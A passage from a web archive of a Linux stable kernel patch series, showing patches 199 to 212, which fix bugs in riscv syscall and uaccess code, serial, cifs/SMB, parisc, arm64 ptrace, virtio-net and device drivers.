@@ -268,16 +268,16 @@ asmlinkage __visible __trap_section void do_trap_break(struct pt_regs *regs) asmlinkage __visible __trap_section void do_trap_ecall_u(struct pt_regs *regs) {if (user_mode (regs)) { -ulong syscall = regs->a7; +long syscall = regs->a7; regs->epc +=4 ; regs->orig_a0 = regs->a0; syscall =syscall_enter_from_user_mode (regs, syscall); -if (syscall < NR_syscalls) +if (syscall >=0 && syscall < NR_syscalls)syscall_handler (regs, syscall); -else +else if (syscall !=-1 ) regs->a0 = -ENOSYS ;syscall_exit_to_user_mode (regs);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 199/234 riscv: correct riscv_insn_is_c_jr() and riscv_insn_is_c_jalr()
In reply to Greg Kroah-HartmanFrom: Nam Cao <[email protected]>
[ Upstream commit 79bc3f85c51fc352f8e684ba6b626f677a3aa230 ]
The instructions c.jr and c.jalr must have rs1 != 0, but riscv_insn_is_c_jr() and riscv_insn_is_c_jalr() do not check for this. So, riscv_insn_is_c_jr() can match a reserved encoding, while riscv_insn_is_c_jalr() can match the c.ebreak instruction.
Rewrite them with check for rs1 != 0.
--- arch/riscv/include/asm/insn.h | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-)
arch/riscv/include/asm/insn.h +13 -2
@@ -110,6 +110,7 @@#define RVC_INSN_FUNCT4_OPOFF 12#define RVC_INSN_FUNCT3_MASK GENMASK(15, 13)#define RVC_INSN_FUNCT3_OPOFF 13 +#define RVC_INSN_J_RS1_MASK GENMASK(11, 7)#define RVC_INSN_J_RS2_MASK GENMASK(6, 2)#define RVC_INSN_OPCODE_MASK GENMASK(1, 0)#define RVC_ENCODE_FUNCT3 (f_) (RVC_FUNCT3_##f_ << RVC_INSN_FUNCT3_OPOFF)
@@ -225,8 +226,6 @@ __RISCV_INSN_FUNCS(c_jal, RVC_MASK_C_JAL, RVC_MATCH_C_JAL) __RISCV_INSN_FUNCS(auipc, RVG_MASK_AUIPC, RVG_MATCH_AUIPC) __RISCV_INSN_FUNCS(jalr, RVG_MASK_JALR, RVG_MATCH_JALR) __RISCV_INSN_FUNCS(jal, RVG_MASK_JAL, RVG_MATCH_JAL) -__RISCV_INSN_FUNCS(c_jr, RVC_MASK_C_JR, RVC_MATCH_C_JR) -__RISCV_INSN_FUNCS(c_jalr, RVC_MASK_C_JALR, RVC_MATCH_C_JALR) __RISCV_INSN_FUNCS(c_j, RVC_MASK_C_J, RVC_MATCH_C_J) __RISCV_INSN_FUNCS(beq, RVG_MASK_BEQ, RVG_MATCH_BEQ)__RISCV_INSN_FUNCS (bne,RVG_MASK_BNE ,RVG_MATCH_BNE )
@@ -253,6 +252,18 @@ static __always_inline bool riscv_insn_is_branch(u32 code)return (code &RV_INSN_OPCODE_MASK ) ==RVG_OPCODE_BRANCH ; } +static __always_inline bool riscv_insn_is_c_jr(u32 code) +{ +return (code &RVC_MASK_C_JR ) ==RVC_MATCH_C_JR && + (code &RVC_INSN_J_RS1_MASK ) !=0 ; +} + +static __always_inline bool riscv_insn_is_c_jalr(u32 code) +{ +return (code &RVC_MASK_C_JALR ) ==RVC_MATCH_C_JALR && + (code &RVC_INSN_J_RS1_MASK ) !=0 ; +} +#define RV_IMM_SIGN (x) (-(((x) >> 31) & 1))#define RVC_IMM_SIGN (x) (-(((x) >> 12) & 1))#define RV_X (X , s, mask) (((X) >> (s)) & (mask))
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 200/234 riscv: uaccess: Return the number of bytes effectively not copied
In reply to Greg Kroah-HartmanFrom: Alexandre Ghiti <[email protected]>
[ Upstream commit 4b05b993900dd3eba0fc83ef5c5ddc7d65d786c6 ]
It was reported that the riscv kernel hangs while executing the test in [1].
Indeed, the test hangs when trying to write a buffer to a file. The problem is that the riscv implementation of raw_copy_from_user() does not return the correct number of bytes not written when an exception happens and is fixed up, instead it always returns the initial size to copy, even if some bytes were actually copied.
generic_perform_write() pre-faults the user pages and bails out if nothing can be written, otherwise it will access the userspace buffer: here the riscv implementation keeps returning it was not able to copy any byte though the pre-faulting indicates otherwise. So generic_perform_write() keeps retrying to access the user memory and ends up in an infinite loop.
Note that before the commit mentioned in [1] that introduced this regression, it worked because generic_perform_write() would bail out if only one byte could not be written.
So fix this by returning the number of bytes effectively not written in __asm_copy_[to|from]_user() and __clear_user(), as it is expected.
--- arch/riscv/lib/uaccess.S | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-)
arch/riscv/lib/uaccess.S +7 -4
@@ -17,8 +17,11 @@ ENTRY(__asm_copy_from_user) li t6, SR_SUM csrs CSR_STATUS, t6 - /* Save for return value */ - mv t5, a2 + /* + * Save the terminal address which will be used to compute the number + * of bytes copied in case of a fixup exception. + */ + add t5, a0, a2 /* * Register allocation for code below:
@@ -176,7 +179,7 @@ ENTRY(__asm_copy_from_user) 10: /* Disable access to user memory */ csrc CSR_STATUS, t6 - mv a0, t5 + sub a0, t5, a0 ret ENDPROC(__asm_copy_to_user) ENDPROC(__asm_copy_from_user)
@@ -228,7 +231,7 @@ ENTRY(__clear_user) 11: /* Disable access to user memory */ csrc CSR_STATUS, t6 - mv a0, a1 + sub a0, a3, a0 ret ENDPROC(__clear_user) EXPORT_SYMBOL(__clear_user)
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 201/234 serial: 8250: Fix oops for port->pm on uart_change_pm()
In reply to Greg Kroah-HartmanFrom: Tony Lindgren <[email protected]>
[ Upstream commit dfe2aeb226fd5e19b0ee795f4f6ed8bc494c1534 ]
Unloading a hardware specific 8250 driver can produce error "Unable to handle kernel paging request at virtual address" about ten seconds after unloading the driver. This happens on uart_hangup() calling uart_change_pm().
Turns out commit 04e82793f068 ("serial: 8250: Reinit port->pm on port specific driver unbind") was only a partial fix. If the hardware specific driver has initialized port->pm function, we need to clear port->pm too. Just reinitializing port->ops does not do this. Otherwise serial8250_pm() will call port->pm() instead of serial8250_do_pm().
--- drivers/tty/serial/8250/8250_port.c | 1 + 1 file changed, 1 insertion(+)
drivers/tty/serial/8250/8250_port.c +1 -0
@@ -3288,6 +3288,7 @@ void serial8250_init_port(struct uart_8250_port *up)struct uart_port *port = &up->port;spin_lock_init (&port->lock); + port->pm =NULL ; port->ops = &serial8250_pops; port->has_sysrq =IS_ENABLED (CONFIG_SERIAL_8250_CONSOLE );
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 202/234 ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces.
In reply to Greg Kroah-HartmanFrom: dengxiang <[email protected]>
commit 788449ae57f4273111b779bbcaad552b67f517d5 upstream.
This patch adds a USB quirk for Mythware XA001AU USB interface.
--- sound/usb/quirks-table.h | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+)
sound/usb/quirks-table.h +29 -0
@@ -4507,6 +4507,35 @@ YAMAHA_DEVICE(0x7010, "UB99"), } } }, +{ +/* Advanced modes of the Mythware XA001AU. +* For the standard mode, Mythware XA001AU has ID ffad:a001 +*/ + USB_DEVICE_VENDOR_SPEC(0xffad, 0xa001), + .driver_info = (unsigned long ) &(const struct snd_usb_audio_quirk ) { + .vendor_name ="Mythware" , + .product_name ="XA001AU" , + .ifnum =QUIRK_ANY_INTERFACE , + .type =QUIRK_COMPOSITE , + .data = (const struct snd_usb_audio_quirk []) { + { + .ifnum =0 , + .type =QUIRK_IGNORE_INTERFACE , + }, + { + .ifnum =1 , + .type =QUIRK_AUDIO_STANDARD_INTERFACE , + }, + { + .ifnum =2 , + .type =QUIRK_AUDIO_STANDARD_INTERFACE , + }, + { + .ifnum =-1 + } + } + } +}, #undef USB_DEVICE_VENDOR_SPEC #undef USB_AUDIO_DEVICE
Greg Kroah-Hartman
maintainerPATCH 203/234 cifs: Release folio lock on fscache read hit.
In reply to Greg Kroah-HartmanFrom: Russell Harmon via samba-technical <[email protected]>
commit 69513dd669e243928f7450893190915a88f84a2b upstream.
Under the current code, when cifs_readpage_worker is called, the call contract is that the callee should unlock the page. This is documented in the read_folio section of Documentation/filesystems/vfs.rst as:
Quoted 2 lines
The filesystem should unlock the folio once the read has completed, whether it was successful or not.
Without this change, when fscache is in use and cache hit occurs during a read, the page lock is leaked, producing the following stack on subsequent reads (via mmap) to the page:
$ cat /proc/3890/task/12864/stack [<0>] folio_wait_bit_common+0x124/0x350 [<0>] filemap_read_folio+0xad/0xf0 [<0>] filemap_fault+0x8b1/0xab0 [<0>] __do_fault+0x39/0x150 [<0>] do_fault+0x25c/0x3e0 [<0>] __handle_mm_fault+0x6ca/0xc70 [<0>] handle_mm_fault+0xe9/0x350 [<0>] do_user_addr_fault+0x225/0x6c0 [<0>] exc_page_fault+0x84/0x1b0 [<0>] asm_exc_page_fault+0x27/0x30
This requires a reboot to resolve; it is a deadlock.
Note however that the call to cifs_readpage_from_fscache does mark the page clean, but does not free the folio lock. This happens in __cifs_readpage_from_fscache on success. Releasing the lock at that point however is not appropriate as cifs_readahead also calls cifs_readpage_from_fscache and *does* unconditionally release the lock after its return. This change therefore effectively makes cifs_readpage_worker work like cifs_readahead.
--- fs/smb/client/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/smb/client/file.c +1 -1
@@ -4681,9 +4681,9 @@ static int cifs_readpage_worker(struct f io_error:kunmap (page); -unlock_page (page); read_complete: +unlock_page (page);return rc; }
Greg Kroah-Hartman
maintainerPATCH 204/234 parisc: Fix CONFIG_TLB_PTLOCK to work with lightweight spinlock checks
In reply to Greg Kroah-HartmanFrom: Helge Deller <[email protected]>
commit 7a894c87374771f3cfb1b8e5453fbe03f1fb8135 upstream.
For the TLB_PTLOCK checks we used an optimization to store the spc register into the spinlock to unlock it. This optimization works as long as the lightweight spinlock checks (CONFIG_LIGHTWEIGHT_SPINLOCK_CHECK) aren't enabled, because they really check if the lock word is zero or __ARCH_SPIN_LOCK_UNLOCKED_VAL and abort with a kernel crash ("Spinlock was trashed") otherwise.
Drop that optimization to make it possible to activate both checks at the same time.
--- arch/parisc/kernel/entry.S | 47 +++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 24 deletions(-)
arch/parisc/kernel/entry.S +23 -24
@@ -25,6 +25,7 @@ #include <asm/traps.h> #include <asm/thread_info.h> #include <asm/alternative.h> +#include <asm/spinlock_types.h> #include <linux/linkage.h> #include <linux/pgtable.h>
@@ -406,7 +407,7 @@ LDREG 0(\ptp),\pte bb,<,n \pte,_PAGE_PRESENT_BIT,3f b \fault - stw \spc,0(\tmp) + stw \tmp1,0(\tmp) 99: ALTERNATIVE(98b, 99b, ALT_COND_NO_SMP, INSN_NOP) #endif 2: LDREG 0(\ptp),\pte
@@ -415,24 +416,22 @@ .endm /* Release page_table_lock without reloading lock address. - Note that the values in the register spc are limited to - NR_SPACE_IDS (262144). Thus, the stw instruction always - stores a nonzero value even when register spc is 64 bits. We use an ordered store to ensure all prior accesses are performed prior to releasing the lock. */ - .macro ptl_unlock0 spc,tmp + .macro ptl_unlock0 spc,tmp,tmp2 #ifdef CONFIG_TLB_PTLOCK -98: or,COND(=) %r0,\spc,%r0 - stw,ma \spc,0(\tmp) +98: ldi __ARCH_SPIN_LOCK_UNLOCKED_VAL, \tmp2 + or,COND(=) %r0,\spc,%r0 + stw,ma \tmp2,0(\tmp) 99: ALTERNATIVE(98b, 99b, ALT_COND_NO_SMP, INSN_NOP) #endif .endm /* Release page_table_lock. */ - .macro ptl_unlock1 spc,tmp + .macro ptl_unlock1 spc,tmp,tmp2 #ifdef CONFIG_TLB_PTLOCK 98: get_ptl \tmp - ptl_unlock0 \spc,\tmp + ptl_unlock0 \spc,\tmp,\tmp2 99: ALTERNATIVE(98b, 99b, ALT_COND_NO_SMP, INSN_NOP) #endif .endm
@@ -1125,7 +1124,7 @@ dtlb_miss_20w: idtlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1151,7 +1150,7 @@ nadtlb_miss_20w: idtlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1185,7 +1184,7 @@ dtlb_miss_11: mtsp t1, %sr1 /* Restore sr1 */ - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1218,7 +1217,7 @@ nadtlb_miss_11: mtsp t1, %sr1 /* Restore sr1 */ - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1247,7 +1246,7 @@ dtlb_miss_20: idtlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1275,7 +1274,7 @@ nadtlb_miss_20: idtlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1320,7 +1319,7 @@ itlb_miss_20w: iitlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1344,7 +1343,7 @@ naitlb_miss_20w: iitlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1378,7 +1377,7 @@ itlb_miss_11: mtsp t1, %sr1 /* Restore sr1 */ - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1402,7 +1401,7 @@ naitlb_miss_11: mtsp t1, %sr1 /* Restore sr1 */ - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1432,7 +1431,7 @@ itlb_miss_20: iitlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1452,7 +1451,7 @@ naitlb_miss_20: iitlbt pte,prot - ptl_unlock1 spc,t0 + ptl_unlock1 spc,t0,t1 rfir nop
@@ -1482,7 +1481,7 @@ dbit_trap_20w: idtlbt pte,prot - ptl_unlock0 spc,t0 + ptl_unlock0 spc,t0,t1 rfir nop #else
@@ -1508,7 +1507,7 @@ dbit_trap_11: mtsp t1, %sr1 /* Restore sr1 */ - ptl_unlock0 spc,t0 + ptl_unlock0 spc,t0,t1 rfir nop
@@ -1528,7 +1527,7 @@ dbit_trap_20: idtlbt pte,prot - ptl_unlock0 spc,t0 + ptl_unlock0 spc,t0,t1 rfir nop #endif
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 205/234 riscv: Handle zicsr/zifencei issue between gcc and binutils
In reply to Greg Kroah-HartmanFrom: Mingzheng Xing <[email protected]>
commit ca09f772cccaeec4cd05a21528c37a260aa2dd2c upstream.
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer 20191213 version which moves some instructions from the I extension to the Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds that version, we should explicitly specifying Zicsr and Zifencei via -march to cope with the new changes. but this only occurs when binutils >= 2.36 and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr and Zifencei extension for -march. binutils-2.35 does not support the Zifencei extension, and does not need to specify Zicsr and Zifencei when working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases, where clang < 17 or GCC < 11.1.0, we will deal with them in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
--- arch/riscv/Kconfig | 28 +++++++++++++++++----------- arch/riscv/kernel/compat_vdso/Makefile | 8 +++++++- 2 files changed, 24 insertions(+), 12 deletions(-)
arch/riscv/Kconfig +17 -11
@@ -525,24 +525,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI def_bool y # https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae8717a77d94b51ac3614e2ca6dc - depends on AS_IS_GNU && AS_VERSION >= 23800 + # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51b5b52fec2cd + depends on AS_IS_GNU && AS_VERSION >= 23600 help - Newer binutils versions default to ISA spec version 20191213 which - moves some instructions from the I extension to the Zicsr and Zifencei - extensions. + Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer + 20191213 version, which moves some instructions from the I extension to + the Zicsr and Zifencei extensions. This requires explicitly specifying + Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr + and Zifencei are supported in binutils from version 2.36 onwards. + To make life easier, and avoid forcing toolchains that default to a + newer ISA spec to version 2.2, relax the check to binutils >= 2.36. + For clang < 17 or GCC < 11.1.0, for which this is not possible, this is + dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC. config TOOLCHAIN_NEEDS_OLD_ISA_SPEC def_bool y depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI # https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694e15bf8a16 - depends on CC_IS_CLANG && CLANG_VERSION < 170000 + # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a78fa3fb4ef49 + depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100) help - Certain versions of clang do not support zicsr and zifencei via -march - but newer versions of binutils require it for the reasons noted in the - help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This - option causes an older ISA spec compatible with these older versions - of clang to be passed to GAS, which has the same result as passing zicsr - and zifencei to -march. + Certain versions of clang and GCC do not support zicsr and zifencei via + -march. This option causes an older ISA spec compatible with these older + versions of clang and GCC to be passed to GAS, which has the same result + as passing zicsr and zifencei to -march. config FPU bool "FPU support"
arch/riscv/kernel/compat_vdso/Makefile +7 -1
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache COMPAT_CC := $(CC) COMPAT_LD := $(LD) -COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32 +# binutils 2.35 does not support the zifencei extension, but in the ISA +# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI. +ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI + COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32 +else + COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32 +endif COMPAT_LD_FLAGS := -melf32lriscv # Disable attributes, as they're useless and break the build.
Greg Kroah-Hartman
maintainerPATCH 206/234 smb: client: fix null auth
In reply to Greg Kroah-HartmanFrom: Scott Mayhew <[email protected]>
commit 270d73e6507f9c7fff43844d74f86365df000b36 upstream.
Commit abdb1742a312 removed code that clears ctx->username when sec=none, so attempting to mount with '-o sec=none' now fails with -EACCES. Fix it by adding that logic to the parsing of the 'sec' option, as well as checking if the mount is using null auth before setting the username when parsing the 'user' option.
--- fs/smb/client/fs_context.c | 4 ++++ 1 file changed, 4 insertions(+)
fs/smb/client/fs_context.c +4 -0
@@ -231,6 +231,8 @@ cifs_parse_security_flavors(struct fs_context *fc, char *value, struct smb3_fs_cbreak ;case Opt_sec_none: ctx->nullauth =1 ; +kfree (ctx->username); + ctx->username =NULL ;break ;default :cifs_errorf (fc,"bad security option: %s\n" , value);
@@ -1201,6 +1203,8 @@ static int smb3_fs_context_parse_param(struct fs_context *fc,case Opt_user:kfree (ctx->username); ctx->username =NULL ; +if (ctx->nullauth) +break ;if (strlen (param->string) ==0 ) {/* null user, ie. anonymous authentication */ ctx->nullauth =1 ;
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 207/234 regulator: da9063: better fix null deref with partial DT
In reply to Greg Kroah-HartmanFrom: Martin Fuzzey <[email protected]>
commit 30c694fd4a99fbbc4115d180156ca01b60953371 upstream.
Two versions of the original patch were sent but V1 was merged instead of V2 due to a mistake.
So update to V2.
The advantage of V2 is that it completely avoids dereferencing the pointer, even just to take the address, which may fix problems with some compilers. Both versions work on my gcc 9.4 but use the safer one.
--- drivers/regulator/da9063-regulator.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-)
drivers/regulator/da9063-regulator.c +6 -6
@@ -778,9 +778,6 @@ static int da9063_check_xvp_constraints(struct regulator_config *config)const struct notification_limit *uv_l = &constr->under_voltage_limits;const struct notification_limit *ov_l = &constr->over_voltage_limits; -if (!config->init_data)/* No config in DT, pointers will be invalid */ -return 0 ; -/* make sure that only one severity is used to clarify if unchanged, enabled or disabled */ if ((!!uv_l->prot + !!uv_l->err + !!uv_l->warn) >1 ) { dev_err(config->dev, "%s: at most one voltage monitoring severity allowed!\n",
@@ -1031,9 +1028,12 @@ static int da9063_regulator_probe(struct platform_device *pdev) config.of_node = da9063_reg_matches[id].of_node; config.regmap = da9063->regmap; - ret =da9063_check_xvp_constraints (&config); -if (ret) -return ret; +/* Checking constraints requires init_data from DT. */ +if (config.init_data) { + ret =da9063_check_xvp_constraints (&config); +if (ret) +return ret; + } regl->rdev =devm_regulator_register (&pdev->dev, ®l->desc, &config);
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 208/234 virtio-net: Zero max_tx_vq field for VIRTIO_NET_CTRL_MQ_HASH_CONFIG case
In reply to Greg Kroah-HartmanFrom: Hawkins Jiawei <[email protected]>
commit 2c507ce90e02cd78d00fd4b0fe26c8641873c13f upstream.
Kernel uses struct virtio_net_ctrl_rss to save command-specific-data for both the VIRTIO_NET_CTRL_MQ_HASH_CONFIG and VIRTIO_NET_CTRL_MQ_RSS_CONFIG commands.
According to the VirtIO standard, "Field reserved MUST contain zeroes. It is defined to make the structure to match the layout of virtio_net_rss_config structure, defined in 5.1.6.5.7.".
Yet for the VIRTIO_NET_CTRL_MQ_HASH_CONFIG command case, the max_tx_vq field in struct virtio_net_ctrl_rss, which corresponds to the reserved field in struct virtio_net_hash_config, is not zeroed, thereby violating the VirtIO standard.
This patch solves this problem by zeroing this field in virtnet_init_default_rss().
Message-Id: <[email protected]>
--- drivers/net/virtio_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/virtio_net.c +1 -1
@@ -2652,7 +2652,7 @@ static void virtnet_init_default_rss(str vi->ctrl->rss.indirection_table[i] = indir_val; } - vi->ctrl->rss.max_tx_vq = vi->curr_queue_pairs; + vi->ctrl->rss.max_tx_vq = vi->has_rss ? vi->curr_queue_pairs :0 ; vi->ctrl->rss.hash_key_length = vi->rss_key_size;netdev_rss_key_fill (vi->ctrl->rss.key, vi->rss_key_size);
Greg Kroah-Hartman
maintainerPATCH 209/234 arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards
In reply to Greg Kroah-HartmanFrom: Yogesh Hegde <[email protected]>
commit ebceec271e552a2b05e47d8ef0597052b1a39449 upstream.
This patch fixes an issue affecting the Wifi/Bluetooth connectivity on ROCK Pi 4 boards. Commit f471b1b2db08 ("arm64: dts: rockchip: Fix Bluetooth on ROCK Pi 4 boards") introduced a problem with the clock configuration. Specifically, the clock-names property of the sdio-pwrseq node was not updated to 'lpo', causing the driver to wait indefinitely for the wrong clock signal 'ext_clock' instead of the expected one 'lpo'. This prevented the proper initialization of Wifi/Bluetooth chip on ROCK Pi 4 boards.
To address this, this patch updates the clock-names property of the sdio-pwrseq node to "lpo" to align with the changes made to the bluetooth node.
This patch has been tested on ROCK Pi 4B.
--- arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi +1 -1
@@ -45,7 +45,7 @@ sdio_pwrseq: sdio-pwrseq { compatible = "mmc-pwrseq-simple"; clocks = <&rk808 1>; - clock-names = "ext_clock"; + clock-names = "lpo"; pinctrl-names = "default"; pinctrl-0 = <&wifi_enable_h>; reset-gpios = <&gpio0 RK_PB2 GPIO_ACTIVE_LOW>;
Greg Kroah-Hartman
maintainerPATCH 210/234 arm64/ptrace: Ensure that SME is set up for target when writing SSVE state
In reply to Greg Kroah-HartmanFrom: Mark Brown <[email protected]>
commit 5d0a8d2fba50e9c07cde4aad7fba28c008b07a5b upstream.
When we use NT_ARM_SSVE to either enable streaming mode or change the vector length for a process we do not currently do anything to ensure that there is storage allocated for the SME specific register state. If the task had not previously used SME or we changed the vector length then the task will not have had TIF_SME set or backing storage for ZA/ZT allocated, resulting in inconsistent register sizes when saving state and spurious traps which flush the newly set register state.
We should set TIF_SME to disable traps and ensure that storage is allocated for ZA and ZT if it is not already allocated. This requires modifying sme_alloc() to make the flush of any existing register state optional so we don't disturb existing state for ZA and ZT.
--- arch/arm64/include/asm/fpsimd.h | 4 ++-- arch/arm64/kernel/fpsimd.c | 6 +++--- arch/arm64/kernel/ptrace.c | 11 +++++++++-- arch/arm64/kernel/signal.c | 2 +- 4 files changed, 15 insertions(+), 8 deletions(-)
arch/arm64/include/asm/fpsimd.h +2 -2
@@ -356,7 +356,7 @@ static inline int sme_max_virtualisable_return vec_max_virtualisable_vl (ARM64_VEC_SME ); } -extern void sme_alloc (struct task_struct *task); +extern void sme_alloc (struct task_struct *task,bool flush);extern unsigned int sme_get_vl (void );extern int sme_set_current_vl (unsigned long arg);extern int sme_get_current_vl (void );
@@ -388,7 +388,7 @@ static inline void sme_smstart_sm(void)static inline void sme_smstop_sm (void ) { }static inline void sme_smstop (void ) { } -static inline void sme_alloc (struct task_struct *task) { } +static inline void sme_alloc (struct task_struct *task,bool flush) { }static inline void sme_setup (void ) { }static inline unsigned int sme_get_vl (void ) {return 0 ; }static inline int sme_max_vl (void ) {return 0 ; }
arch/arm64/kernel/fpsimd.c +3 -3
@@ -1285,9 +1285,9 @@ void fpsimd_release_task(struct task_str* the interest of testability and predictability, the architecture * guarantees that when ZA is enabled it will be zeroed. */ -void sme_alloc (struct task_struct *task) +void sme_alloc (struct task_struct *task,bool flush) { -if (task->thread.sme_state) { +if (task->thread.sme_state && flush) {memset (task->thread.sme_state,0 ,sme_state_size (task));return ; }
@@ -1515,7 +1515,7 @@ void do_sme_acc(unsigned long esr, struc }sve_alloc (current, false); -sme_alloc (current); +sme_alloc (current, true);if (!current->thread.sve_state || !current->thread.sme_state) {force_sig (SIGKILL );return ;
arch/arm64/kernel/ptrace.c +9 -2
@@ -881,6 +881,13 @@ static int sve_set_common(struct task_stbreak ;case ARM64_VEC_SME : target->thread.svcr |=SVCR_SM_MASK ; + +/* +* Disable traps and ensure there is SME storage but +* preserve any currently set values in ZA/ZT. +*/ +sme_alloc (target, false); +set_tsk_thread_flag (target,TIF_SME );break ;default :WARN_ON_ONCE (1 );
@@ -1100,7 +1107,7 @@ static int za_set(struct task_struct *ta }/* Allocate/reinit ZA storage */ -sme_alloc (target); +sme_alloc (target, true);if (!target->thread.sme_state) { ret = -ENOMEM ; goto out;
@@ -1171,7 +1178,7 @@ static int zt_set(struct task_struct *tareturn -EINVAL ;if (!thread_za_enabled (&target->thread)) { -sme_alloc (target); +sme_alloc (target, true);if (!target->thread.sme_state)return -ENOMEM ; }
arch/arm64/kernel/signal.c +1 -1
@@ -474,7 +474,7 @@ static int restore_za_context(struct usefpsimd_flush_task_state (current);/* From now, fpsimd_thread_switch() won't touch thread.sve_state */ -sme_alloc (current); +sme_alloc (current, true);if (!current->thread.sme_state) { current->thread.svcr &= ~SVCR_ZA_MASK ;clear_thread_flag (TIF_SME );
Greg Kroah-Hartman
maintainerPATCH 211/234 arm64/ptrace: Ensure that the task sees ZT writes on first use
In reply to Greg Kroah-HartmanFrom: Mark Brown <[email protected]>
commit 2f43f549cd0b3164ea0345e59aa3958c0d243383 upstream.
When the value of ZT is set via ptrace we don't disable traps for SME. This means that when a the task has never used SME before then the value set via ptrace will never be seen by the target task since it will trigger a SME access trap which will flush the register state.
Disable SME traps when setting ZT, this means we also need to allocate storage for SVE if it is not already allocated, for the benefit of streaming SVE.
--- arch/arm64/kernel/ptrace.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-)
arch/arm64/kernel/ptrace.c +8 -1
@@ -1177,6 +1177,11 @@ static int zt_set(struct task_struct *target,if (!system_supports_sme2 ())return -EINVAL ; +/* Ensure SVE storage in case this is first use of SME */ +sve_alloc (target, false); +if (!target->thread.sve_state) +return -ENOMEM ; +if (!thread_za_enabled (&target->thread)) {sme_alloc (target, true);if (!target->thread.sme_state)
@@ -1186,8 +1191,10 @@ static int zt_set(struct task_struct *target, ret =user_regset_copyin (&pos, &count, &kbuf, &ubuf,thread_zt_state (&target->thread),0 ,ZT_SIG_REG_BYTES ); -if (ret ==0 ) +if (ret ==0 ) { target->thread.svcr |=SVCR_ZA_MASK ; +set_tsk_thread_flag (target,TIF_SME ); + }fpsimd_flush_task_state (target);
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 212/234 blk-crypto: dynamically allocate fallback profile
In reply to Greg Kroah-HartmanFrom: Sweet Tea Dorminy <[email protected]>
commit c984ff1423ae9f70b1f28ce811856db0d9c99021 upstream.
blk_crypto_profile_init() calls lockdep_register_key(), which warns and does not register if the provided memory is a static object. blk-crypto-fallback currently has a static blk_crypto_profile and calls blk_crypto_profile_init() thereupon, resulting in the warning and failure to register.
Fortunately it is simple enough to use a dynamically allocated profile and make lockdep function correctly.
--- block/blk-crypto-fallback.c | 36 +++++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 13 deletions(-)
block/blk-crypto-fallback.c +23 -13
